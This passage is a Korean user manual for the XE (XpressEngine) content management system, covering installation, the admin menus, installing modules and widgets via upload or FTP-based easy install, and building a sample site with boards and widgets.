    Windows 환경에서는 WPI나 APMsetup 중 하나를 선택해서 필요한 설치 프로그램과 XE를 함께 설치할 수 있습니다. 자세한 내용은 "Windows 환경 설정"을 참조하십시오.

    +

    Linux 환경에서는 XE를 설치하기 전에 "설치 프로그램 목록"의 프로그램을 수동으로 설치해야 합니다. 각 프로그램의 자세한 설치 과정은 이 문서에서 설명하지 않습니다. Linux 환경에서 계정을 설정하거나 원격으로 서버에 접속하는 방법, XE core 설치 파일을 업로드하는 방법은 "Linux 환경 설정"을 참조하십시오.

    +
    +
    +

    XE core 설치

    +

    XE core를 설치하는 과정은 다음과 같습니다.

    +
      +
    1. 웹 브라우저를 통해 XE core 설치 파일을 업로드한 경로(www.example.com 또는 www.example.com/xe)로 접근합니다.
    2. +
    3. 다음과 같이 사용할 언어를 선택하는 화면에서 원하는 언어를 선택하시고 '다음' 버튼을 누릅니다. +
      설치 언어 선택
      +
      참고 +

      페이지에 접근은 되지만 이미지가 제대로 보이지 않거나 내용이 비어 있으면, XE core 설치 파일을 다시 업로드해야 합니다.

      +
      +
    4. +
    5. 필수 설치 조건이 모두 가능으로 표시된 것을 확인하고 '설치를 진행합니다'를 클릭합니다. +

      이 화면에서 '자세히'를 클릭하면 XE core를 설치할 때 최소 PHP 버전과 필수 라이브러리 설치 여부를 자동으로 확인할 수 있습니다. 필수 설치 조건에 가능으로 표시되지 않은 항목이 있으면 오류 메시지를 확인하여 해결합니다.

      +

      짧은 주소를 사용할 수 없을 경우 경고창이 나타납니다. 짧은 주소를 사용하길 원치 않을 경우에는 그대로 설치를 진행합니다.

      +
      설치 조건 확인
      +
      참고 +

      파일 권한 설정 오류 때문에 퍼미션이 불가능으로 표시될 때는 "XE 설치 시 권한 설정 누락 오류"를 참조하십시오.

      +
      +
    6. +
    7. XE에서 사용할 DBMS를 선택하고 아래의 설치를 진행합니다를 클릭합니다. 이 문서에서는 mysqli를 선택합니다. +
      DB 선택
      +
      참고 +

      XE에서 사용 가능한 DBMS가 없으면 모든 항목이 비활성화됩니다. 이때는 사용할 DBMS를 직접 설치하거나, 호스팅 업체에 설치를 요청합니다.

      +
      +
    8. +
    9. 다음과 같이 DB 정보를 입력하고, 다음을 클릭합니다. 추가적인 설정의 변경이 필요할 경우에는 '고급 설정'을 클릭해서 수정할 수 있습니다. +
      DB 정보 입력
      +
      참고 +

      DB 정보를 입력할 때 문제가 발생하면, "DB 계정 정보 오류"를 참조하십시오.

      +
      +
    10. +
    11. 사이트 표준 시간대를 설정한 후 다음을 클릭합니다.
    12. +
      환경 설정
      +
    13. 관리자 정보를 입력합니다. XE 1.5부터는 이메일 주소가 로그인 계정이므로 실제 관리자가 사용할 이메일 주소를 입력하시기 바랍니다. +
      관리자 정보 입력
      +
    14. +
    15. 설치가 완료되면 다음과 같이 XE Home(시작 페이지)이 나타납니다. +
      XE 초기 페이지
      +
    16. +
    +
    +
    +

    제거

    +

    XE를 더 이상 사용하지 않는다면 XE가 설치되어 있는 폴더의 하위 내용을 모두 삭제합니다.

    +

    XE를 사용해서 제작한 사이트를 운영하는 데 사용된 모든 데이터는 DB에 저장됩니다. 데이터를 모두 삭제하려면 사이트 운영에 사용된 모든 DB 테이블을 삭제합니다. XE를 재설치하거나 서버를 이전할 때는 데이터를 이관하여 재사용할 수 있습니다.

    +

    자세한 데이터 삭제 및 이관 방법은 사이트 운영에 사용한 DBMS의 사용법을 참조하십시오.

    +
    +
    +
    +

    XE core 둘러보기

    +
    +

    관리자 페이지 시작

    +

    다음과 같이 XE 관리자 페이지를 열고 관리자 계정 정보를 입력하여 로그인합니다. 아래 주소에서 'example.com'은 XE가 설치된 도메인 주소를 의미합니다.

    +
    +
    짧은 주소(mod_rewrite)를 사용할 경우: +
    http://example.com/admin
    +
    짧은 주소(mod_rewrite)를 사용하지 않는 경우: +
    http://example.com/index.php?module=admin
    +
    +
    XE 관리자 페이지 +
    XE 관리자 페이지
    +
    +
    +
    +

    XE 관리자 메뉴

    +

    이 절에서는 관리자가 사용 가능한 기본 메뉴를 설명합니다.

    +
    +

    대시보드

    +

    XE 관리자 홈입니다. 통계 및 사이트 현황, 최근 글, 댓글, 엮인글, 공지 등을 보여 줍니다.

    +
    +
    +

    사이트 제작/편집

    +

    사이트 메뉴 편집

    +

    사이트에서 사용되는 메뉴를 타입별로 쉽게 생성, 수정, 삭제할 수 있게 도와줍니다. 기본적으로 설치가 되지 않은 메뉴 타입이 있을 경우에는 손쉽게 설치할 수 있습니다. 또한 메뉴의 디자인 및 설정 정보도 손쉽게 수정이 가능합니다. 디자인 정보를 별도로 설정하지 않는다면 '사이트 디자인 설정'에서 설정한 내용이 적용 됩니다.

    +

    사이트 디자인 설정

    +

    사이트에서 사용되는 기본 디자인 설정을 할 수 있도록 도와 줍니다. 기본적으로 제공하는 디자인 설정 뿐 아니라 직접 html, css를 수정할 수 도 있습니다. 이곳에서 수정한 내용은 각 메뉴에서 별도로 설정하지 않는이상 모두 적용 됩니다.

    +
    +
    +

    회원

    +
    +
    회원 목록
    +
    사이트에 가입된 사용자 목록을 보여줍니다. 사용자의 소속 그룹을 변경하거나, 로그인 차단 등 사용자 정보를 확인, 수정, 삭제할 수 있습니다.
    +
    회원 설정
    +
    사이트 회원 가입 허가, 회원 가입 시 입력 양식 등 회원 관리에 필요한 다양한 설정을 할 수 있습니다.
    +
    회원 그룹
    +
    + 사이트에서 사용하는 회원 그룹을 관리합니다. 새로운 그룹을 생성하거나, 기존 그룹을 수정, 삭제할 수 있습니다. +
    + 참고 +

    회원 그룹 내 '관리그룹'과 '관리자'의 차이는 "관리그룹, 관리자"를 참고하시기 바랍니다.

    +
    +
    +
    포인트
    +
    회원이 글, 댓글을 작성하거나 업로드, 다운로드할 때 포인트를 부여할 수 있습니다. 또한 그룹의 레벨을 설정하여 포인트를 통한 레벨 업그레이드 기능을 설정할 수 있습니다.
    +
    +
    +
    +

    콘텐츠

    +
    +
    문서
    +
    사이트에 등록된 문서를 관리합니다. 문서 내용을 확인하고 삭제할 수 있으며, 회원이 신고, 삭제한 문서를 확인할 수 있습니다.
    +
    댓글
    +
    사이트에 등록된 댓글을 관리합니다. 댓글 내용을 확인하고 삭제할 수 있으며, 신고된 댓글을 확인할 수 있습니다.
    +
    엮인글
    +
    외부에서 링크했거나 엮인글의 목록을 볼 수 있습니다. 엮인글의 허용 여부를 선택할 수 있으며, 엮인글을 허용하지 않으면 글을 엮을 수 없고 링크하더라도 표시되지 않습니다.
    +
    파일
    +
    사이트에 등록된 글과 댓글에 첨부된 파일을 관리합니다. 등록된 파일을 삭제할 수 있습니다.
    +
    설문
    +
    사이트에 등록된 설문 콘텐츠를 관리합니다.
    +
    RSS
    +
    XE를 통해 생성된 다양한 모듈의 RSS(Rich Site Summary) 피드를 하나로 묶어서 제공할 수 있습니다. 기본값은 통합피드 사용입니다. 사이트 초기 화면을 통해 통합 피드가 제공되며, 피드 공개가 허용되지 않은 개별 모듈은 피드 목록에서 제외됩니다. 일부 모듈은 피드 공개의 기본값이 공개하지 않음으로 되어 있으므로, 모든 피드를 공개하려면 반드시 개별 모듈의 추가 설정 메뉴에서 피드 공개 항목이 전문 공개 또는 요약 공개로 되어 있는지 확인해야 합니다.
    +
    다국어
    +
    + XE는 글로벌 사이트를 별도로 생성하지 않고 하나의 사이트에서 다국어를 지원합니다. 다국어에 추가한 단어/문장에 연동된 목록은 사이트 언어 설정을 변경하면 자동으로 해당 언어의 내용으로 변환되어 표시됩니다. 다국어 메뉴는 사이트에 사용된 다국어 목록을 관리합니다. 등록된 다국어 목록을 확인할 수 있으며, 새로운 단어 또는 문장을 추가할 수 있습니다. +
    + 참고 +

    다국어의 자세한 사용법은 FAQ의 "다국어"를 참고하시기 바랍니다.

    +
    +
    +
    데이터 들여오기
    +
    + 제로보드4, zb5beta 또는 다른 프로그램의 데이터를 XE 데이터로 이전할 수 있습니다. +
    + 참고 +

    데이터 들여오기의 자세한 사용법은 FAQ의 "데이터 들여오기"를 참고하시기 바랍니다.

    +
    +
    +
    휴지통
    +
    문서나 댓글을 삭제하면 DB에서 바로 제거하지 않고 휴지통으로 이동합니다. 관리자가 내용을 다시 확인한 후 삭제된 문서나 댓글을 복구하거나 완전히 삭제할 수 있습니다.
    +
    스팸필터
    +
    글, 댓글 등이 등록될 때 스팸 여부를 확인하여 등록을 금지할 수 있습니다. 스팸필터 관리 메뉴에서 금지 IP와 금지 단어 목록을 설정할 수 있습니다.
    +
    +
    +
    +

    즐겨찾기

    +

    '고급 > 설치된 모듈'에서 자주 사용하는 모듈의 별 모양을 클릭하면 즐겨찾기에 추가할 수 있습니다. 추가 된 즐겨찾기는 '즐겨찾기' 메뉴에 노출됩니다.

    +
    +
    +

    설정

    +
    +
    일반
    +
    +

    사이트 시작 화면을 결정하는 기본 모듈 설정, 기본 언어 등 사이트를 운영하기 위해 필요한 기본 설정을 할 수 있습니다. 또한, 보안을 위한 관리자 페이지 접근 가능 IP 대역 지정 등 다양한 고급 설정이 가능합니다.

    +
      +
    • 사이트 제목: XE Core 1.7 이상에서 새롭게 추가된 값입니다. 레이아웃에서 {Context::getSiteTitle()} 변수로 표시할 수 있습니다. default 레이아웃에 적용되어 있습니다.
    • +
    • 홈페이지: 사이트 접속 시 기본으로 호출될 페이지 지정할 수 있습니다.
    • +
    • 모바일 뷰 사용: 모바일 기기로 접속시 모바일 페이지를 보여줍니다.
    • +
    • 관리자 IP대역: 관리자 페이지로 접근가능한 IP대역을 지정합니다. 해당 IP에 대해서만 관리자 페이지로 접근이 가능하므로 주의 바랍니다. IP대역 정보는 /files/config/db.config.php 파일에 저장됩니다. 여러개의 항목은 줄을 바꾸어 입력하세요.
    • +
    • 기본 URL: 여러 사이트를 운영할 때 기본 URL이 필요합니다. XE 설치 경로를 포함한 URL을 입력하세요. (예: http://도메인/설치경로)
    • +
    • SSL(Secure Socket Layer) 사용: '선택적으로'는 회원가입, 정보수정 등의 지정된 동작(action)에서 보안접속(SSL)을 사용합니다. '항상 사용'은 모든 서비스에 SSL을 사용 합니다. SSL 환경이 갖춰지지 않은 상태에서 SSL을 사용할 경우 접속이 되지 않을 수 있으니 주의 바랍니다.
    • +
    • SSO 사용: 사용자가 한 번만 로그인하면 기본 사이트와 가상 사이트에 동시에 로그인이 됩니다. 가상 사이트를 사용할 때만 필요합니다.
    • +
    • 인증 세션 DB 사용: 인증 시 사용되는 PHP 세션을 DB로 사용하는 기능입니다. 웹서버의 사용률이 낮은 사이트에서는 비활성화시 사이트 응답 속도가 향상될 수 있습니다. 단, 현재 접속자를 구할 수 없어 관련된 기능을 사용할 수 없게 됩니다.
    • +
    • Qmail 호환: Qmail등 CRLF를 줄 구분자로 인식하지 못하는 MTA에서 메일이 발송되도록 합니다.
    • +
    +
    +
    FTP 설정
    +
    쉬운 설치 사용을 위한 FTP 계정을 설정합니다.
    +
    관리자 설정
    +
    관리자 화면의 제목과 로고, 메뉴를 설정할 수 있습니다.
    +
    파일 업로드 +
    +

    사이트에 등록할 수 있는 파일의 종류와 크기 등을 설정할 수 있습니다.

    +
      + +
    • 파일 크기 제한: 하나의 파일에 대해 최고 용량을 지정할 수 있습니다.(관리자는 제외)
    • +
    • 문서 첨부 제한: 하나의 문서에 첨부할 수 있는 최고 용량을 지정할 수 있습니다.(관리자는 제외)
    • +
    +
    + +
    파일박스
    +
    파일박스를 관리할 수 있습니다. 파일박스는 관리자가 재사용할 수 있는 이미지 파일을 관리하는 기능입니다. 회원 그룹 아이콘을 등록하면 이미지 파일은 파일박스에 업로드됩니다.
    +
    +
    +
    +

    고급

    +
    +
    쉬운 설치
    +
    모듈, 스킨, 레이아웃, 위젯 등을 추가로 설치할 때, XE 공식 사이트에서 해당 소스를 다운로드해서 서버에 업로드할 필요 없이 사이트에서 XE 공식 사이트와 연동하여 선택한 추가 기능을 바로 설치합니다.
    +
    설치된 레이아웃
    +
    사이트에 설치된 레이아웃을 관리합니다. 각 레이아웃의 관리자 화면을 통해 인스턴스를 추가, 수정, 삭제할 수 있습니다.
    +
    설치된 모듈
    +
    사이트에 설치된 모듈을 출력합니다. 각 모듈의 관리자 화면에 접근하여 모듈을 관리할 수 있습니다. 목록의 즐겨찾기 버튼을 이용해서 자주 사용하는 모듈 관리자 링크를 화면 오른쪽 위에 즐겨찾기로 추가할 수 있습니다.
    +
    설치된 위젯
    +
    사이트에 설치된 위젯을 출력합니다. 각 위젯의 코드를 생성할 수 있습니다.
    +
    설치된 애드온
    +
    사이트에 설치된 애드온을 출력합니다. 각 애드온을 PC와 모바일 환경에서 사용하거나 사용하지 않도록 설정할 수 있습니다. +
    + 참고 +

    1.5 버전부터는 쉬운 설치를 통해 설치된 레이아웃과 모듈, 위젯, 애드온을 '확장기능(v1.7에서는 고급) > 설치된 레이아웃, 설치된 모듈, 설치된 위젯, 설치된 애드온' 관리자 화면에서 삭제할 수 있습니다.

    +
    +
    +
    에디터
    +
    사이트의 기본 위지윅 에디터 설정과 확장 기능인 에디터 컴포넌트를 관리할 수 있습니다.
    +
    +
    +
    +
    +
    +

    XE 추가 기능

    +
    +

    XE 추가 기능의 종류

    +

    XE의 가장 큰 장점은 사용자가 원하는 다양한 기능을 추가하여 사이트를 좀 더 편리하게 운영할 수 있다는 것입니다. 다음과 같은 XE 추가 기능을 사용할 수 있습니다. 각 추가 기능의 설치 방법은 "추가 기능 설치 방법"을 참조하십시오.

    +

    모듈

    +

    XE에서 모듈은 하나의 프로그램을 의미합니다. 여러 개의 모듈이 모여서 하나의 큰 모듈을 구성하기도 하고, 모듈이 개별적으로 동작하기도 합니다. 즉, 모듈은 사이트에 특정 기능을 구현하기 위해 추가로 설치한 프로그램입니다.

    +

    XE에서 제공하는 대표적인 모듈에는 게시판, CafeXE, Textyle 등이 있습니다.

    +
    + 모듈 +
    모듈
    +
    +

    애드온

    +

    애드온은 모듈의 기능이 동작하는 사이사이에 끼어들어 자신의 기능을 수행하는 작은 프로그램입니다. 애드온은 모듈과 같이 스스로 기능을 수행하기는 하지만, 기능 수행 결과를 외부로 제공하지는 못한다는 점에서 모듈과 다릅니다.

    +

    XE에서 제공하고 있는 대표적인 애드온에는 기본 카운터, 모바일 XE 등이 있습니다.

    +

    위젯

    +

    위젯은 레이아웃 또는 페이지 모듈에 삽입되어 동작합니다. 모듈에서 이미 생성된 데이터를 표시하거나, 일부 데이터를 생산할 수도 있습니다. 예를 들어, 게시판 모듈에서 작성된 최신 글 목록을 사이트의 시작 페이지에 나타내고 싶을 때 위젯을 사용합니다. XE에서 제공하는 대표적인 위젯에는 언어 선택, 로그인 정보 출력 위젯 등이 있습니다.

    +

    위젯 스타일

    +

    위젯 스타일은 위젯의 외관을 꾸미는 역할을 합니다. 스킨이 위젯의 출력 부분을 꾸며준다면, 위젯 스타일은 위젯의 외곽부분에 대한 스킨이라고 생각할 수 있습니다. 위젯 스타일을 적용하면 외관 변경 외에도 위젯 블록에 제목이나 더보기 링크 등의 내용을 추가할 수 있습니다.

    +
    위젯과 위젯 스타일 +
    위젯과 위젯 스타일
    +
    +

    스킨

    +

    스킨은 사이트에 설치된 프로그램의 디자인을 의미합니다. 즉, 스킨은 프로그램(모듈, 위젯)의 옷이라고 할 수 있습니다.

    +

    XE 공식 사이트에서는 프로그램별로 다양한 스킨을 제공하고 있습니다. 이를 잘 활용하면 본인만의 개성이 담긴 사이트를 운영할 수 있습니다.

    +

    레이아웃

    +

    사이트에 여러 가지 추가 기능을 설치한 후에는 이들을 화면에 적절하게 배치해야 합니다. 이렇게 화면 배치를 담당하는 것이 레이아웃입니다. 레이아웃과 추가 기능(모듈, 위젯)은 매우 긴밀한 관계를 유지합니다. 추가 기능이 없으면 레이아웃은 아무런 내용도 출력할 수 없기 때문에 화면에 표시되지 않습니다. 반대로 프로그램은 설치되어 있으나 레이아웃이 없으면 각 요소가 출력될 위치를 알 수 없기 때문에 역시 화면에 표시되지 않습니다.

    +
    레이아웃 +
    레이아웃
    +
    +
    +
    +

    추가 기능 설치 방법

    +

    XE의 다양한 추가 기능을 설치 하는 방법에는 2가지가 있습니다. XE 공식 사이트에서 소스 파일을 다운로드해서 XE 설치 서버에 업로드하는 방법과 XE core에서 제공하는 쉬운 설치 기능을 사용하는 방법입니다.

    +
    참고 +

    XE에서 추가 기능을 설치하는 것은 추가 기능의 소스 코드를 운영하고 있는 서버에 옮기는 것을 의미합니다. 즉, 추가 기능 설치 과정만으로는 실제 사이트에 표시할 콘텐츠를 제작할 수 없습니다. 추가 기능을 생성하여 사이트와 연동하는 과정은 "사이트 만들기"를 참조하시기 바랍니다.

    +
    +
    +

    소스 파일 업로드로 추가 기능 설치

    +

    XE 공식 사이트에서 추가 기능 소스 파일을 다운로드해서 XE 설치 서버에 업로드하는 방법입니다.

    +

    예를 들어, 소스 파일 업로드로 게시판 모듈을 설치하는 방법은 다음과 같습니다.

    +
      +
    1. XE 공식 사이트 자료실(http://www.xpressengine.com/download)에 접속합니다.
    2. +
    3. 게시판 모듈을 하나 선택해서 내 컴퓨터에 다운로드합니다. +
      게시판 모듈 다운로드 화면
      +
    4. +
    5. 다운로드한 게시판 모듈(zip 파일)의 압축을 해제합니다. 압축 해제가 완료되면 board라는 디렉터리가 생성됩니다.
    6. +
    7. 압축 해제한 board 디렉터리를 XE 설치 경로의 ./modules 디렉터리로 옮깁니다. 모든 모듈은 XE 설치 경로의 ./modules 디렉터리에 설치됩니다.
    8. +
    9. '고급 > 설치된 모듈' 목록에 다음 그림과 같이 게시판 모듈이 추가되었는지 확인합니다. +
      항목 업데이트 화면
      +
    10. +
    11. '이 항목 업데이트가 가능합니다. 업데이트하시겠습니까' 링크가 있을 경우에는 해당 링크를 클릭하면 설치가 완료됩니다.
    12. +
    +
    +
    +

    쉬운 설치로 추가 기능 설치

    +

    FTP 설정

    +

    쉬운 설치로 추가 기능을 설치하려면 쉬운 설치 사용을 위한 계정을 설정해야 합니다. 방법은 다음과 같습니다.

    +
      +
    1. 관리자 메뉴의 '설정 > FTP 설정'을 클릭합니다.
    2. +
    3. 다음과 같이 웹 서버의 FTP 계정 정보를 입력합니다. +
      +
      아이디:
      +
      서버에 접근 가능한 아이디
      +
      비밀번호:
      +
      서버에 접근 가능한 비밀번호
      +
      +
    4. +
    5. 아이디, 비밀번호 외에 추가정보의 수정이 필요한 경우에는 '고급'에서 수정할 수 있습니다. +
      +
      FTP 서버 주소:
      +
      서버 주소는 XE가 설치된 서버로부터 접근하기 위한 주소입니다. 특별한 경우가 아니라면 XE는 자신이 설치된 서버에 구성 요소를 설치합니다. 따라서 자기 자신을 나타내는 주소인 localhost, 혹은 127.0.0.1을 입력합니다.
      +
      FTP port:
      +
      FTP 포트 번호의 경우 기본적으로 21을 쓰도록 되어 있으나, 서버에 따라 설정이 다를 수도 있습니다. 21이 아닐 때에는 서버 관리자에게 문의합니다.
      +
      Passive 모드를 사용:
      +
      클라이언트(사용할 웹 서버)가 방화벽 환경에 있어도 FTP 서비스를 정상적으로 사용할 수 있게 하는 기능입니다. 예를 선택해야 방화벽이 설치된 환경에서 FTP를 사용할 수 있습니다. 따라서 쉬운 설치 기능을 사용하려면 서버에서 FTP Passive mode를 지원해야 합니다.
      +
      SFTP를 사용:
      +
      FTP 프로토콜을 통해 주고받는 데이터는 암호화되어 있지 않습니다. SFTP(SSH File Transfer Protocol)를 사용하면 쉬운 설치 기능을 더 안전하게 사용할 수 있습니다. SFTP는 관련 PHP 모듈이 설치되어 있어야 사용할 수 있습니다.
      +
      +
      FTP 설정
      +
    6. +
    7. 모든 정보를 입력했으면 '저장'을 클릭합니다.
    8. +
    +

    쉬운 설치 사용을 위한 계정 설정을 완료하였습니다.

    +
    참고 +

    쉬운 설치 진행 중에 FTP 홈 디렉터리 설정 관련 오류가 발생하면 "쉬운 설치 진행 시 FTP 홈 디렉터리 설정 오류"를 참조하십시오.

    +
    +

    쉬운 설치 사용

    +

    예를 들어, 쉬운 설치로 Textyle 모듈을 설치하는 방법은 다음과 같습니다.

    +
      +
    1. 관리자 메뉴의 '고급 > 쉬운 설치'를 클릭합니다.
    2. +
    3. Textyle 모듈을 찾아서 모듈 설명 오른쪽에 있는 설치를 클릭합니다. 설치가 완료되면 오른쪽에 있는 설치 버튼이 사라집니다. +
      쉬운 설치
      +
    4. +
    +
    +
    +
    +
    +

    사이트 만들기

    +
    +

    일반 사이트 만들기

    +

    이 절에서는 3개의 게시판과 각 게시판과 링크된 메뉴, 게시판의 최신 글을 메인 페이지에 출력하는 간단한 일반 사이트를 만들어 보겠습니다.

    +

    이 절에서 만들 사이트의 완성된 모습은 다음과 같습니다.

    +
    일반 사이트 완성 +
    일반 사이트 완성 화면
    +
    +
    +

    사이트 제목 바꾸기

    +

    '설정 > 일반 > 기본 > 사이트 제목' 항목을 작성 또는 변경합니다. '생성된 레이아웃'에서 사이트 제목을 설정하지 않았을 때 이 제목이 노출됩니다.

    +
    +
    +

    사이트 메뉴 편집

    +

    홈 만들기

    +

    사이트의 시작 페이지로 사용될 '홈'을 만듭니다.

    +
      +
    1. '사이트 제작/편집' > '사이트 메뉴 편집' 메뉴로 이동합니다.
    2. +
    3. XE를 설치하면 자동으로 만들어지는 welcome_menu를 그대로 활용하도록 하겠습니다. welcome_menu를 클릭하면 나오는 메뉴에서 '메뉴 추가'를 클릭합니다.
    4. +
    5. '메뉴 추가'의 서브 메뉴에서 '위젯 페이지'를 클릭합니다.
    6. +
    7. 위젯 페이지 대화상자에서 '메뉴이름'은 '홈'이라고 적고, '메뉴 ID'는 'home'이라고 적습니다. ('메뉴 ID'를 입력하지 않게 되면 임의의 값으로 자동 생성 됩니다.) +
      '홈' 메뉴 추가
      +
    8. +
    +

    기본페이지 지정

    +

    사이트에 접속 시 처음 보여질 메뉴로 지정합니다.

    +
      +
    1. '사이트맵'에서 '홈' 메뉴를 클릭하면 나오는 메뉴 가운데 '사이트 접속 시 기본 페이지로 사용'을 클릭합니다.
    2. +
      시작 페이지 변경
      +
    3. 기존에 기본페이지로 사용되었던 'menu1' 메뉴를 삭제 합니다.
    4. +
      'menu1' 메뉴 삭제
      +
    5. 메뉴를 삭제할 때 나오는 checkbox에 check한 후 '확인' 버튼을 눌러 삭제합니다.
    6. +
      메뉴 삭제 확인
      +
    +

    게시판 만들기

    +

    3개의 게시판 중 '공지사항'을 먼저 만듭니다.

    +
      +
    1. '사이트맵'의 'welcome_menu'를 클릭하여 나오는 메뉴에서 '메뉴 추가'를 클릭합니다.
    2. +
    3. '메뉴 추가'에 '게시판'타입의 메뉴가 없기 때문에 하단에 있는 '다른 메뉴타입 설치'를 클릭합니다.
    4. +
      다른 메뉴타입 설치
      +
      참고 +

      '다른 메뉴타입 설치'를 하기 위해서는 ftp 설정이 필요합니다. ftp 설정은 "FTP 설정"을 참고하시기 바랍니다.

      +
      +
    5. '다른 메뉴타입 설치'에서 'board'로 검색을 하면 나오는 '게시판'의 우측 설치 아이콘을 클릭합니다. +
      board 설치
      +
    6. +
    7. FTP 비밀번호를 묻는 창이 뜨는 경우에는 비밀번호를 입력하고 '확인' 버튼을 누릅니다. +
      ftp 비밀번호 입력
      +
    8. +
    9. 설치가 진행되는 동안 기다립니다. 설치가 완료 되기 전에 다른 곳으로 이동하거나 페이지를 새로고침하시면 안됩니다. +
      설치 진행 중
      +
    10. +
    11. 설치가 완료되면 다시 '사이트맵'의 'welcome_menu > 메뉴 추가 > 게시판'을 클릭한 후 아래와 같이 입력합니다. 입력 후 '확인' 버튼을 눌르면 공지사항이 생성됩니다. +
      공지사항 추가
      +
    12. +
    13. 공지사항과 마찬가지로 '자유게시판'과 '등업게시판'을 생성합니다. '자유게시판'의 '메뉴 ID'는 'freeboard01'로 , '등업게시판'의 '메뉴 ID'는 'levelup01'로 입력합니다.
    14. +
    +
    +
    +

    사이트 디자인 설정

    +

    사이트에 사용할 메뉴들을 모두 생성하였으면, 전체적인 디자인을 설정해야 합니다. 먼저 레이아웃 설정을 합니다.

    +
      +
    1. 관리자 화면에서 '사이트 제작/편집 > 사이트 디자인 설정 > 레이아웃'을 클릭합니다.
    2. +
    3. 레이아웃 목록에서 'Bootstrap.Layout'을 선택합니다.
    4. +
    5. 선택 후 'PC 설정 저장' 버튼을 눌러 내용을 저장합니다. +
      레이아웃 설정
      +
    6. +
    7. 이곳에서 선택한 레이아웃은 위에서 생성한 '홈', '공지사항', '자유게시판', '등업게시판' 모두에 적용 됩니다. 단 각 메뉴별로 별도의 레이아웃을 적용할 수도 있습니다. 각 메뉴별 별도 레이아웃을 적용하고자 하는 경우에는 '사이트맵 > 디자인 > 레이아웃' 에서 '사이트 기본 레이아웃 사용'을 체크 해제한 후 원하는 레이아웃을 선택하면 됩니다.
    8. +
    +
    +
    +

    페이지 수정

    +

    이 절에서는 각 게시판에 최신 글을 볼 수 있도록 홈페이지를 수정해 보겠습니다.

    +
      +
    1. XE가 설치된 도메인 주소를 브라우져 창에 입력하고 들어갑니다. (ex: http://example.com/) 또는 관리자 페이지 상단 로고 우측에 있는 도메인을 클릭해도 됩니다.
    2. +
    3. 아래와 같은 페이지가 표시되면 화면 오른쪽에 있는 '페이지 수정...'을 클릭합니다. +
      페이지 수정버튼
      +
      참고 +

      페이지에 관리자 권한으로 접근하면 페이지의 콘텐츠를 편집하거나 설정할 수 있는 '캐시파일 재생성', '설정', '페이지 수정'이 표시됩니다. 이 버튼들이 보이지 않는다면 관리자 아이디로 로그인했는지 확인하시기 바랍니다.

      +
      +

      각 게시판의 최신 글을 페이지에 출력하려면 콘텐츠를 출력할 수 있는 위젯이 필요합니다. 우선, 자유게시판 내용을 나타내기 위한 위젯을 생성합니다.

      +
    4. +
    5. 다음과 같이 페이지 수정 화면이 나타나면 Content 위젯을 선택하고 추가를 클릭합니다. +
      Content 위젯 선택
      +
    6. +
    7. 위젯 코드 생성 창이 나타나면 다음과 같이 필요한 항목을 입력하고 코드생성을 클릭합니다. +
      +
      위젯:
      +
      Content 위젯 ver 0.1
      +
      스킨:
      +
      Content 위젯 기본 스킨(default)
      +
      캐시:
      +
      5분
      +
      추출대상:
      +
      변경하지 않음
      +
      내용형태:
      +
      이미지+제목+내용
      +
      탭형태:
      +
      없음
      +
      표시항목 및 순서:
      +
      제목, 등록일, 글쓴이, 내용
      +
      게시판 이름 표시:
      +
      출력하지 않음
      +
      댓글수 표시:
      +
      출력
      +
      엮인글수 표시:
      +
      출력
      +
      분류 표시:
      +
      출력
      +
      아이콘 표시:
      +
      출력
      +
      정렬 대상:
      +
      최신 등록순
      +
      정렬 방법:
      +
      내림차순
      +
      썸네일 생성 방법:
      +
      Crop(채우기)
      +
      이미지 가로 크기:
      +
      100
      +
      이미지 세로 크기:
      +
      75
      +
      가로 이미지수:
      +
      5
      +
      목록수:
      +
      5
      +
      페이지수:
      +
      1
      +
      new 표시 시간 (hours):
      +
      12
      +
      제목 글자수:
      +
      0
      +
      내용 글자수:
      +
      100
      +
      대상 모듈:
      +
      추가를 클릭하고 모듈 선택 팝업에서 모듈에 게시판으로 검색하여 자유게시판을 선택
      +
      HTML 출력방식:
      +
      Table
      +
      +

      위젯이 생성되면 다음 그림과 같은 화면을 확인할 수 있습니다.

      +
      위젯 생성된 화면
      +
      참고 +

      게시판에 작성된 글이 없는 경우 위젯에 내용이 나타나지 않습니다. 위젯의 내용을 확인하기 위해서는 각 게시판에 테스트를 위한 게시물을 미리 작성해 두어야 합니다.

      +
      +

      위젯 윗부분에 위젯과 연동되어 있는 게시판 이름과 게시판으로 이동할 수 있는 링크를 삽입하기 위해 위젯 스타일을 적용해 보겠습니다.

      +
    8. +
    9. 추가된 위젯 영역 위로 마우스 커서를 움직여서 위젯 영역 왼쪽 윗부분에 표시되는 아이콘 메뉴 중 위젯 스타일 추가(위젯 스타일 추가 버튼)를 클릭합니다.
    10. +
    11. 위젯 스타일 팝업 창이 나타나면 적용할 위젯 스타일로 심플 스트롱을 선택하고 설정을 클릭합니다.
    12. +
    13. 위젯 스타일을 설정하는 화면이 나타나면 다음과 같이 설정합니다. +
      +
      컬러셋:
      +
      하얀색
      +
      제목:
      +
      자유게시판
      +
      더보기 URL:
      +
      해당 게시판의 URL을 입력합니다. 자유게시판의 모듈 이름은 freeboard01이므로, http://xe설치경로/freeboard01을 입력합니다.
      +
      더보기 텍스트:
      +
      위젯과 연동된 게시판으로 이동하기 위한 링크의 텍스트입니다. 이 예제에서는 more로 지정합니다.
      +
      +
    14. +
    15. 자유게시판 위젯에 위젯 스타일이 다음과 같이 적용되었는지 확인합니다. +
      위젯 스타일 적용 화면
      +
    16. +
    17. 나머지 두 게시판과 연동되는 위젯을 생성하고 위젯 스타일을 적용합니다. +

      공지사항 코드를 생성할 때 아래의 설정 정보 외에 다른 내용은 모두 자유게시판 위젯을 생성할 때 입력한 내용과 동일하므로, 자유게시판 위젯 생성 과정을 참고하여 진행합니다.

      +
      +
      내용형태:
      +
      제목
      +
      표시항목 및 순서:
      +
      제목, 등록일, 글쓴이
      +
      대상 모듈:
      +
      추가를 클릭하고 모듈 선택 팝업에서 모듈에 공지사항을 선택
      +
      +

      등업게시판 코드를 생성할 때도 아래의 설정 정보 외에 다른 내용은 모두 자유게시판 위젯을 생성할 때 입력한 내용과 동일합니다.

      +
      +
      내용형태:
      +
      제목
      +
      표시항목 및 순서:
      +
      제목, 등록일, 글쓴이
      +
      대상 모듈:
      +
      추가를 클릭하고 모듈 선택 팝업에서 모듈에 등업게시판을 선택
      +
      +
    18. +
    19. 다음과 같이 3가지 위젯이 모두 추가되었는지 확인합니다. 단, 게시판에 게시된 글에 따라 위젯의 내용은 다를 수 있습니다. +
      추가된 위젯 확인
      +

